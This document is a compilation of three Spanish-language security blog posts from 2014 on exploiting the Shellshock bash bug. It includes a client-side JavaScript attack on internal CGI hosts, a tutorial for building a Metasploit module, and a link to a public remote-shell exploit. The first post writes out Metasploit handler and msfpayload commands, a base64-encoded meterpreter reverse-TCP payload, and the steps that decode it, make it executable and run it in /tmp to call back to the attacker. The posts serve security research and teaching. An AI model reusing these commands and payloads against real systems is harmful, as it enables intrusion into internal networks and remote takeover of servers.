ShellShock Client-Side Scripting Attack: Explotar bugs de ShellShock en sistemas NO publicados a Internet

Hace unos días se celebró en Barcelona la conferencia de seguridad informática NoConName 2014, una de las conferencias más antiguas y respetadas en la comunidad “hacking” en España. En esta edición, hicimos pública la investigación detallada que realizamos en Eleven Paths sobre la posibilidad de utilizar las técnicas de Javascript Port Scanning para realizar, al menos, enumeración (footprinting y fingerprinting) de recursos internos de una red corporativa o una red doméstica. El trabajo se publicó en un par de artículos llamados Enumeración y explotación de recursos internos mediante Javascript/AJAX (I) y (II):

Figura 1: ShellShock Client-Side Scripting Attack

Enumeración de la red interna de una empresa con visitar una web

Por resumir, el ataque es sencillo y podría utilizarse para atacar redes internas inyectando un JavaScript malicioso en una página web. Esto podría hacerse, por ejemplo, en un entorno de JavaScript Botnet para hacer ataques dirigidos. La "víctima” visitará una página web especialmente modificada para iniciar el ataque y el atacante recibirá información privada de la red desde el propio navegador web de la víctima. En la siguiente presentación tenéis un resumen del trabajo completo que expusimos.

Figura 2: Network profiling based on HTML tags injection

La investigación profundiza en cómo es posible en la actualidad, utilizar este ataque en la mayor parte de navegadores web en diversos sistemas operativos, siendo posible enumerar direcciones IP internas vivas, puertos abiertos, cualquier tipo de servicio o software con interfaz web, enumeración de dominios, detección de impresoras, UPS, routers, etcétera. Al final, se demuestra como un navegador web puede ser utilizado como una herramienta de pentesting sin que el usuario víctima lo sepa. Estas técnicas son plenamente funcionales independientemente de si el navegador web está actualizado, o no, o de los permisos con los que se ejecute en el sistema operativo de la víctima ya que sería necesario aplicar medidas de fortificación extras en el navegador web para mitigar el ataque descrito.

Los resultados anteriores son suficientemente significativos, no obstante, existen otros vectores de ataque basados en este tipo de técnicas que son peligrosos y relativamente sencillos de explotar. Merece la pena pararse a pensar un poco en esto porque ... ¿suelen los equipos de seguridad actualizar las tecnologías vulnerables que no son visibles directamente en Internet? ¿estará actualizado nuestro CMS interno en una organización? ¿se ha aplicado el último parche al WordPress, Joomla o Drupal de la Intranet? ¿Está el firmware de nuestro router doméstico actualizado? ¿Es segura la aplicación interna de nuestra empresa que da acceso a la base de datos?

Explotar Shellshock en un equipo interno desde el navegador de otro

Para demostrar lo sencillo que resulta vulnerar equipos de una red interna, simplemente aprovechándose del hecho que una víctima en la misma red visite una página web determinada, se mostró en la NoConName una demostración usando el fallo de ShellShock en un ataque que hemos denominado: “ShellShock Client-Side Scripting Attack”. Aunque con un poco de imaginación el lector advertirá que existen “multitud de variantes” y “ataques interesantes” basados en estos mismos principios. El proceso para hacer un Shellshock Client-Side Scripting Attack sería:

1) La víctima está en una red que tiene un equipo vulnerable a la famosa vulnerabilidad Shellshock. El equipo vulnerable no es accesible directamente desde Internet. 

2) El atacante construye una página web (o modifica una existente) e introduce código HTML/Javascript para enumerar direcciones IP vivas en la red de la víctima y detectar servicios/software/rutas conocidas en esas máquinas. 

3) La víctima carga una página web con el “código malicioso”, por ejemplo, con su navegador actualizado Google Chrome. 

4) El “código malicioso” detecta para una máquina viva un servicio conocido vulnerable a ShellShock.

Hasta este punto un funcionamiento más o menos normal de footprinting y fingerprinting utilizando la técnica de JavaScript Port Scanning. Seguidamente lo que se va a forzar es que la página web modificada contenga un “exploit” de forma que cuando detecte un servicio vulnerable a Shellshock se le pueda enviar el ataque desde el propio navegador web de la víctima. Una vez explotado el bug, qué realizar con el equipo vulnerable depende de la imaginación del atacante.

Figura 3: Esquema de ataque ShellShock Client-Side Scripting Attack

A continuación, demostraremos cómo es posible explotar el fallo, introducir una consola en el equipo vulnerable - usando un meterpreter de Metasploit -  y devolver una conexión inversa al atacante. De esta forma, tendremos acceso a la máquina que no estaba visible desde Internet y habremos saltado, en muchas configuraciones reales, la seguridad perimetral existente en la red que da acceso a la red interna, incluso aunque haya configurados cortafuegos o zonas DMZ especiales.

ShellShock Client-Side Scripting Attack: Paso a paso

a) Configuración de listener de reverse-shell: El atacante utiliza el framework Metasploit para configurar la máquina que recibirá la información del equipo vulnerado. Para ello, pone a la escucha un handler en el puerto 4444 al que le va a llegar la conexión inversa del payload que se ejecutará en el equipo vulnerable. En el ejemplo que viene a continuación se muestra en un entorno local.

use exploit/multi/handler
set payload linux/x86/meterpreter/reverse_tcp
set lhost 192.168.56.101
set lport 4444
exploit

b) Creación del payload de ShellShock: El atacante crea el “payload” que se quiere ejecutar en la máquina vulnerable. Para ello, se utiliza msfpayload creando un payload con “meterpreter/reverse_tcp” en codificación base64 para facilitar su envío en peticiones HTTP.

msfpayload linux/x86/meterpreter/reverse_tcp lhost=IP_ATACANTE lport=4444 X > p.bin && chmod 755 p1.bin && cat p1.bin | base64

c) Nuestro payload:

f0VMRgEBAQAAAAAAAAAAAAIAAwABAAAAVIAECDQAAAAAAAAAAAAADQAIAABAAAAAAAAAAEAAAAAAAAAAIAECACABAibAAAA4gAAAAcAAAAAEAAAMdv341NDU2oCsGaJ4c2Al1torBAKDWgCABFcieFqZlhQUVeJ4UPNgLIHuQAQAACJ48HrDMHjDLB9zYBbieGZtgywA82A/+E=

d) Ejecución de exploit: El navegador de la víctima que ha cargado la página web con el payload, lanzará el “exploit” utilizando Javascript/AJAX a las máquinas/servicios vulnerables en la red interna.

Figura 4: Ejecución del exploit desde el navegador de la víctima

La tecnología CORS (Cross-Origin Resource Sharing) alertará de esta situación en el navegador web - se puede ver en modo depuración - pero no impide que la petición sea realizada.

e) Ejecución del payload en la víctima: En el ejemplo de la demo, el payload desarrollado explotará un CGI vulnerable a Shellshock en la máquina interna vulnerable. Las acciones que realizamos son:

1. Payload en base64 se vuelca a un fichero en el sistema vulnerable:

f0VMRgEBAQAAAAAAAAAAAAIAAwABAAAAVIAECDQAAAAAAAAAAAAAADQAIAABAAAAAAAAAAEAAAAAAAAAAIAECACABAibAAAA4gAAAAcAAAAAEAAAMdv341NDU2oCsGaJ4c2Al1towKg4A2gCABFcieFqZlhQUVeJ4UPNgLIHuQAQAACJ48HrDMHjDLB9zYBbieGZtgywA82A/+E= > /tmp/p2.bin

2. Se descodifica el bas64 y se vuelca el binario a otro fichero

/usr/bin/base64 -d /tmp/p2.bin > /tmp/p1.bin

3. Se le da permisos de ejecución al payload

/bin/chmod 755 /tmp/p1.bin

4. Se ejecuta el payload

/tmp/p1.bin

d) Ejecución de meterpreter: La máquina/servicio vulnerable al ejecutar el payload devuelve un meterpreter al handler controlado por el atacante fuera de su red interna.

Figura 5: Recepción de la shell de Meterpreter de la víctima en la consola de Metasploit

En función de los permisos con los que se ejecute el CGI vulnerable, seremos administrador de la máquina o necesitaremos elevación de privilegios. En cualquier caso, se simplificará notablemente el acceso a la red interna y en la práctica hacernos con el control de mucha información y de la propia red.

Como se ha de suponer, se debe prestar atención a las diferentes formas de fortificar nuestros navegadores web evitando el máximo posible de opciones. Desde hace años existe un peligro real de que simplemente visitando una página web con cualquier navegador web actualizado la red de nuestra empresa esté en riesgo, por lo que cuantas más capas de seguridad internas y externas se apliquen, mejor que mejor.

Autores:
Dr. Alfonso Muñoz
Eleven Paths. Escritor del libro de Criptográfica RSA (@mindcrypt & @criptored)
Ricardo Martín
Security & Quallity Assurance Engineer en Eleven Paths (@ricardo090489)

Fuente: http://www.elladodelmal.com/2014/11/shellshock-client-side-scripting-attack.html

Inside Shellshock: How hackers are using it to exploit systems

Este resumen no está disponible. Haz clic en este enlace para ver la entrada.

Crear tu módulo de Metasploit para ShellShock

La vulnerabilidad ShellShock ha traído un nuevo caos a Internet, miles de servidores se ven comprometidos por esta vulnerabilidad, la cual dispone de diversos CVE. Si echamos un ojo por Internet podemos observar como la vulnerabilidad ha sido explotada en diversos entornos, para explotar servidores web y meter shels, a través de VMWare Fusion en los OS X de Apple, o para distribuir malware como Kaiten.

Figura 1: Crea tu módulo de Metasploit para Shellshock

En el congreso de seguridad informática Navaja Negra, celebrado en Albacete, yo quería que la gente que asistía al workshop de Metasploit pudiera entender y ver como se corresponden los módulos que ellos pueden configurar con el código que podemos desarrollar. Para esto quise tomar como base la vulnerabilidad, con el primer CVE, de ShellShock.

Mi idea fue desarrollar un módulo en vivo para explotar dicha vulnerabilidad, ya que era realmente sencillo realizarlo, y los asistentes podrían fácilmente guiarse, tal y como se pudo ver en el artículo de RetroMalware para controlar NetBus desde Metasploit. Es cierto que la gente de Rapid7 ya tiene sus módulos sobre esta vulnerabilidad realizada, pero mi idea era hacerlo un poco más sencillo para que cualquiera de los asistentes con nociones cero de Ruby pudieran seguirlo.

Figura 2: Cosas básicas para hacer un módulo de tipo exploit remoto

¿Qué necesitamos para llevar a cabo el módulo? En la imagen se puede ver que al menos la función de inicialización y la función exploit son necesarias. El objetivo de estos módulos son las de conseguir una sesión para controlar el equipo o realizar alguna acción sobre él, tras aprovechar una vulnerabilidad. Opcionalmente, podemos definir la función check, con la que podemos chequear que una vulnerabilidad existe en la máquina remota, siempre y cuando el módulo no sea client-side, ya que en este escenario no tiene sentido realizar un chequeo.

La función: initialize(info={})

Esta función permite inicializar valores al módulo y actualizar información que es heredada por el propio framework. Podemos entender que la información de ayuda e informativa que debemos proporcionar en los módulos de Metasploit debemos configurarla en esta función. Por ejemplo, cuando nosotros ejecutamos el comando info la información proporcionada por la consola se corresponde con el atributo description que previamente hemos definido, o la información sobre el autor, las referencias a los CVE, etcétera.

A continuación se presenta el código, cuya descripción corresponde con la del módulo de Rapid7. Simplemente es importante ver que en esta parte del código son datos a rellenar, y que estos datos son informativos. Hay que recordar que la función de inicialización puede tener más instrucciones relevantes, como veremos después.

Figura 3: Función de inicialización

Hasta aquí, no hemos tocado nada. Existe un método denominado register_options con el que podemos modificar los atributos configurables que tendrá mi módulo. Recordemos que por ser un módulo de tipo exploit remoto se heredan atributos propios del módulo, como por ejemplo RHOST, pero en muchas ocasiones nosotros querremos añadir atributos configurables para que un usuario pueda realizar otro tipo de acciones con esos parámetros.

Nosotros queremos varias cosas en nuestro módulo:

- El usuario pueda indicar cuál es la URI. Al atributo lo llamaremos TARGETURI.
- Que el usuario pueda seleccionar el método HTTP a utilizar (GET | POST). El atributo se llama METHOD.
- Que el usuario pueda indicar al exploit el path remoto que debe utilizar mediante el atributo RPATH.
- El usuario puede indicar el comando que quiere lanzar mediante el atributo COMMAND.
- Mediante la configuración del atributo TIMEOUT se indica el número de segundos para obtener respuesta de una petición HTTP.
- El atributo FULL es algo especial. Lo que queremos hacer es que si el parámetro FULL vale false, el módulo se comporte como una consola remota en la cual sólo se ejecutará la orden que se introduzca en COMMAND. Pero si el atributo FULL vale true, el módulo estará programado para lanzar una secuencia de acciones sobre el servidor remoto con el que se conseguirá subir una shellcode y obtendremos el control remoto de la máquina.
- El atributo NAMESHELLBIN será utilizado en caso de que FULL sea true, y proporciona el nombre que utilizaremos para crear el binario en la máquina remota.

Figura 4: Opciones nuevas en el módulo

En la imagen podemos ver que cada atributo aparte del nombre tiene una serie de información extra introducida en un listado. El primer campo true o false indica si el atributo será requerido para ejecutar el módulo o no. Cuando se ejecuta un show options vemos una columna denominada required, dónde los atributos tienen valor yes o no. El segundo campo del listado es la descripción del atributo, mientras que el tercero es el valor por defecto que tiene ese parámetro.

Figura 5: Atributos del módulo visto con show options

La función: request(command)

Antes de empezar a destripar las funciones check y exploit vamos a necesitar una función request para agilizar y no repetir código en el envío de peticiones. Esta función será utilizada para explotar la vulnerabilidad de ShellShock en su versión para Apache mod_cgi.

La función tiene una implementación básica, utiliza el método send_request_cgi para enviar la petición HTTP. Se le pasa un parámetro a la función que es el comando que se quiere ejecutar en remoto, si la vulnerabilidad está presente en el servidor remoto. A continuación se muestra el código sencillo de la función.

Figura 6: Código de request

El atributo TARGETURI, METHOD y TIMEOUT, explicados anteriormente, son utilizados para la generación del paquete.

La función: check()

La función check permitirá comprobar si el servidor remoto es vulnerable sin necesidad de dañar o aprovecharse del sistema remoto. Es cierto que check lo que está realizando es una ejecución de comandos remota, pero lo que ejecutaremos será un simple echo hola, que intentaremos ver reflejado en el body de la respuesta.

Figura 7: Código de check

Como puede verse en la función se llama a request con el comando echo hola. Si la respuesta incluye hola en el cuerpo es vulnerable. Tenemos que tener cuidado, porque si, lógicamente, la respuesta incluyera el texto “hola” porque la web tuviera dicha palabra nos aparecería como vulnerable. Lo ideal sería generar un hash o un texto que fuera “imposible” encontrar en la respuesta.

La función: exploit()

Esta función la tenemos pensada para dos cosas en esta prueba de concepto. La primera es que nos permita ejecutar comandos, por así decirlo línea a línea o petición a petición con el servidor. El segundo modo de funcionamiento se tiene pensado para que automáticamente genere las peticiones necesarias realizando lo siguiente:

1. Generar una shellcode, que definirá el usuario en el atributo PAYLOAD antes de lanzar el módulo, es decir, antes de lanzar el método exploit. 

2. Esta shellcode se transforma a base64 con la intención de poder “pegarla” con un echo en un archivo del servidor remoto. La instrucción a ejecutar en remoto sería algo tal que así echo shellcode_en_base_64 > /var/tmp/fichero_almacena_shellcode_base64. 

3. Una vez se dispone de la shellcode en un fichero en base64 se realiza su transformación a binario y se le cambia los permisos para que el nuevo binario pueda ejecutar. 

4. Por último, se realiza una petición para ejecutar ese binario, el cual lanzará la shellcode. En función del tipo de shellcode se realizará unas acciones u otras. Automáticamente el módulo de Metasploit nos lanzará por debajo el handler con el que podremos gestionar de forma trasparente las conexiones con las shellcode.

Figura 8: Generación, subida y ejecución de Shellcode, Toma de control

En el código se puede ver como se genera el payload mediante la instrucción payload.encoded_exe. Este payload se codifica en base64 almacenándolo en la variable enc. Es importante realizar el cambio de los “\n” en el base64 para que la shellcode no se rompa.

Después podemos observar las 4 peticiones que se realizan con lo comentado anteriormente. Una vez se termina la cuarta petición la shellcode se genera y se obtiene el control remoto de la máquina, si el payload seleccionado es para tomar el control, por ejemplo un meterpreter.

Configuración y ejecución

Ahora vamos a probar el módulo programado, cuyo código se puede encontrar en mi github. La configuración para probar el código en modo FULL a true, será el siguiente:

- FULL = true.
- NAMESHELLBIN = poc.
- RHOST = dirección IP servidor remoto, en este caso 192.168.56.102.
- TARGETURI = URI remota, en este caso /cgi-bin/vuln.cgi.
- PAYLOAD = linux/x86/meterpreter/reverse_tcp.
- LHOST = dirección IP máquina del atacante.

Tras lanzar el módulo con la configuración podemos obtener el control remoto de la máquina, tal y como se puede ver en la imagen.

Figura 9: Configuración y obtención del control remoto a través de ShellShock

Si elegimos la opción FULL = false, realmente podemos seleccionar en COMMAND que binario lanzar, y con RPATH cuál es la ruta remota dónde se encuentra. En el taller de Navaja Negra lo estuvimos viendo, y con las prisas las cosas no quedaron del todo claras, por eso decidí hacer este post.

Autor: Pablo González Pérez (@pablogonzalezpe)

Fuente: http://www.elladodelmal.com/2014/10/crea-tu-modulo-de-metasploit-para.html

Abrir una shell remota explotando el CVE-2014-6271 (Shellshock)

Buenas a todos, en el post de hoy veremos una de las miles de PoC que han surgido para explotar la tan comentada vulnerabilidad "GNU Bash CVE-2014-6271 Remote Code Execution Vulnerability", también conocida como "shellshock".

Explotar esta falla de seguridad tiene infinidad de posibilidades, y una de las más interesantes involucra a los servidores web que utilizan el motor CGI apoyándose en el sistema operativo para ejecutar sus servicios.

En Security Focus se han publicado numerosos exploits que afectan a gran variedad de servidores y que podéis ver en el siguiente enlace:

http://www.securityfocus.com/bid/70103/exploit

Uno de los más interesantes de ese listado es el 70103_3.py, que nos permitirá abrir una shell remota contra un servidor vulnerable:

http://downloads.securityfocus.com/vulnerabilities/exploits/70103_3.py

Su uso es muy sencillo, y al estilo meterpreter, configuraremos el exploit para atacar al servidor vulnerable que nos interese auditar:

Si el exploit tiene éxito, veremos el prompt de la máquina vulnerada y podremos ejecutar cualquier instrucción. Como ejemplo, nosotros hemos lanzado un "whoami" para ver con qué usuario se estaba ejecutando el servidor:

Como no podía ser de otra manera, en lo referente a shellshock os recomiendo el artículo de mi compañero Pablo en el que detalla el proceso para desarrollar nuestro propio módulo de Metasploit para Shellshock.

Shellshock está dando mucho que hablar, y no es para menos, ya que como veis se trata de una de las vulnerabilidades más destacadas de los últimos tiempos.

Hasta el próximo post,

Saludos!

 

Fuente: http://www.flu-project.com/2014/10/abrir-una-shell-remota-explotando-el.html